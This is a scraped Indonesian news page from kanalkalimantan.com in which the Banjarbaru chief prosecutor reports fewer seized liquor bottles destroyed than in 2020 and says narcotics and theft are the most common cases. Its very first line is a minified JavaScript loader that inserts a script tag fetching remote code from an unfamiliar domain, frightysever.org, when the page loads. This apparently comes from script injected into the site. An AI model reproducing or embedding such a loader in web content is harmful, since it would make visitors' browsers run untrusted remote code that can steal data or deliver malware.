(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Kota Banjarbaru

Barbuk Miras Dimusnahkan Berkurang, Kajari Banjarbaru: Kasus Paling Banyak Narkotika


KANALKALIMANTAN.COM, BANJARBARU – Kepala Kejaksaan Negeri Banjarbaru, Andri Irawan mengklaim terjadi penurunan pada pemusnahan barang bukti minuman keras (Miras) dibandingkan akhir tahun 2020.

Kepala Kejaksaan Negeri Banjarbaru, Andri Irawan. Foto: dewi

“Pemusnahan ini kalau kita lihat dari segi kuantitas mulai menurun dibandingkan yang kita lakukan di akhir tahun 2020, tahun lalu Miras yang kita musnahkan itu 800 botol lebih, nah sekarang 213 botol,” kata Andri.

Kajari Banjarbaru mengaku penurunan itu, indikasi dari keberhasilan para penyidik, Satpol PP untuk melakukan razia dan menekan peredaran dari Miras dan Narkotika di Kota Banjarbaru.

 

 

Baca juga: Viagra, Obat Ilegal, Sabu hingga Miras Dimusnahkan Kejari Banjarbaru

Kendati begitu, ia menerangkan pada masa pandemi seperti ini, tidak ada pengurangan dari segi jumlah penanganan perkara.

“Kalau dari segi penanganan perkara hampir sama saja, kalkulasinya tidak cukup jauh, cuman dari segi barang buktinya yang saya lihat akan semakin menurun,” ucapnya.

“Dan memang kita berharap sekali Perda kita sokong, seperti Perda miras dan prostitusi di Banjarbaru. Karena menurut kami ini sangat bagus, tidak semua daerah di Indonesia punya Perda seperti itu. Alhamdulillah Provinsi Kalimantan Selatan dan Kota Banjarbaru memilikinya,” sambungnya.

Diketahui untuk jumlah perkara yang sudah ditangani Kejari Banjarbaru sampai sekarang sekitar 200 kasus. Rata-rata dalam satu tahun Kejari Banjarbaru mampu menangani 150 sampai 500 perkara.

“Untuk sekarang kasus paling banyak ada pada kasus Naroktika, kemudian pencurian. Pencurian ini mungkin berkolerasi dengan situasi pandemi,” ujarnya berasumsi.

Baca juga: Sejumlah Nakes di Banjarbaru Terpapar Covid-19, Mayoritas OTG dan Gejala Ringan

Andri menyebut pada tahun 2021 untuk hukuman kasus terberat yang dijalani adalah kasus Narkotika yakni putusan 11 tahun.

“Seingat saya yang terberat itu yang di atas 5 Kg ada 11 tahun hukumannya,” pungkasnya. (kanalkalimantan.com/dewi)

Reporter : dewi
Editor : bie


Risa

Recent Posts

Cara Menonaktifkan Aksesibilitas di Smartphone, Akses Mobile Banking BRImo Jadi Makin Nyaman

KANALKALIMANTAN.COM - Fitur Accessibility pada perangkat smartphone adalah fitur yang penting untuk seseorang yang memiliki… Read More

5 menit ago

Ide Fresh Bearly Marketing Membranding Bisnismu Lebih Profesional

KANALKALIMANTAN.COM - Kamu pernah dengar istilah "brand itu nyawa bisnis"? Di era digital ini, pernyataan… Read More

38 menit ago

Curah Hujan Tinggi, Waspada Pilih Lokasi Libur Nataru di Kalsel

KANALKALIMANTAN.COM, BANJARBARU - Puncak musim hujan sudah memasuki sejumlah wilayah Kalimantan Selatan (Kalsel) bertepatan pada… Read More

2 jam ago

Libur Nataru, Polres Banjarbaru Buka Penitipan Kendaraan Bermotor

KANALKALIMANTAN.COM, BANJARBARU - Bagi warga Kota Banjarbaru yang akan meninggalkan rumah pada perayaan libur Natal… Read More

22 jam ago

Gubernur Kalsel Teken Upah Minimun Kabupaten Kota dan Sektoral 2025, Ini Besaran Angkanya

KANALKALIMANTAN.COM, BANJARBARU - Gubernur Kalimantan Selatan (Kalsel) menetapkan besaran Upah Minimum Provinsi (UMK), Upah Minimum… Read More

1 hari ago

Laka Maut di Kawasan Murdjani Banjarbaru, Satu Pemotor Jalan Melawan Arus

KANALKALIMANTAN.COM, BANJARBARU - Sebuah insiden kecelakaan lalu lintas (laka lantas) mengakibatkan seorang pemotor meninggal dunia… Read More

1 hari ago

This website uses cookies.